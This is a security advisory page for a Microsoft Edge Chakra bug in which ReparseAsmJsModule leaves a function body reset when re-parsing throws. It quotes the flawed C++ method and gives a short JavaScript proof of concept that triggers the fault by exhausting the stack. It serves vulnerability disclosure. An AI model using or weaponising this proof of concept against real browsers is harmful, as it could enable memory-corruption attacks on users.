Microsoft Edge Chakra JavascriptFunction::ReparseAsmJsModule Incorrectly Re-parses

2017.09.22
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

<!-- Here's the method used to re-parse asmjs modules. void JavascriptFunction::ReparseAsmJsModule(ScriptFunction** functionRef) { ParseableFunctionInfo* functionInfo = (*functionRef)->GetParseableFunctionInfo(); Assert(functionInfo); functionInfo->GetFunctionBody()->AddDeferParseAttribute(); functionInfo->GetFunctionBody()->ResetEntryPoint(); functionInfo->GetFunctionBody()->ResetInParams(); FunctionBody * funcBody = functionInfo->Parse(functionRef); #if ENABLE_PROFILE_INFO // This is the first call to the function, ensure dynamic profile info funcBody->EnsureDynamicProfileInfo(); #endif (*functionRef)->UpdateUndeferredBody(funcBody); } First, it resets the function body and then re-parses it. But it doesn't consider that "functionInfo->Parse(functionRef);" may throw an exception. So in the case, the function body remains reseted(invalid). We can make it throw an exception simply by exhausting the stack. PoC: --> function Module() { 'use asm'; function f() { } return f; } function recur() { try { recur(); } catch (e) { Module(1); } } recur();

References:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1327


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top